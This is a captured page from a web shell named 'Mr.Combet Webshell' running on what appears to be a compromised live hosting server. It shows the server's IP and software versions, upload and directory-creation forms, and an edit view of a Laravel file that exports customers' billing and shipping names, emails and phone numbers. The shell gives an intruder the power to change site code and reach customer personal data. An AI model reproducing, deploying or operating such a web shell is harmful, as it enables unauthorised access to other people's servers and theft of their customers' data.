Mr.Combet Webshell
Your IP :
18.224.8.221
Server IP :
185.136.159.155
Server :
Linux 185-136-159-155.cprapid.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software :
Apache
PHP Version :
8.1.29
Add File :
Submit
Add Directory :
Submit
Dir :
~
/
home
/
jaibalajigroup
/
public_html
/
core
/
app
/
Exports
/
Edit File Name :
PorductOrderExport.php
<?php namespace App\Exports; use App\BasicExtra; use App\ProductOrder; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\WithMapping; class PorductOrderExport implements FromCollection, WithHeadings, WithMapping { public $orders; public function __construct($orders) { $this->orders = $orders; } /** * @return \Illuminate\Support\Collection */ public function collection() { return $this->orders; } public function map($order): array { $bex = BasicExtra::firstOrFail(); return [ $order->order_number, $order->billing_fname, $order->billing_email, $order->billing_number, $order->billing_city, $order->billing_country, $order->shpping_fname, $order->shpping_email, $order->shpping_number, $order->shpping_city, $order->shpping_country, $order->method, !empty($order->shipping_method) ? $order->shipping_method : '-', $order->payment_status, $order->order_status, ($bex->base_currency_symbol_position == 'left' ? $bex->base_currency_symbol : '') . $order->cart_total . ($bex->base_currency_symbol_position == 'right' ? $bex->base_currency_symbol : ''), ($bex->base_currency_symbol_position == 'left' ? $bex->base_currency_symbol : '') . $order->discount . ($bex->base_currency_symbol_position == 'right' ? $bex->base_currency_symbol : ''), ($bex->base_currency_symbol_position == 'left' ? $bex->base_currency_symbol : '') . $order->tax . ($bex->base_currency_symbol_position == 'right' ? $bex->base_currency_symbol : ''), ($bex->base_currency_symbol_position == 'left' ? $bex->base_currency_symbol : '') . $order->shipping_charge . ($bex->base_currency_symbol_position == 'right' ? $bex->base_currency_symbol : ''), ($bex->base_currency_symbol_position == 'left' ? $bex->base_currency_symbol : '') . $order->total . ($bex->base_currency_symbol_position == 'right' ? $bex->base_currency_symbol : ''), $order->created_at ]; } public function headings(): array { return [ 'Order Number', 'Billing Name', 'Billing Email', 'Billing Phone', 'Billing City', 'Billing Country', 'Shipping Name', 'Shipping Email', 'Shipping Phone', 'Shipping City', 'Shipping Country', 'Gateway', 'Shipping Method', 'Payment Status', 'Order Status', 'Cart Total', 'Discount', 'Tax', 'Shipping Charge', 'Total', 'Date' ]; } }
Save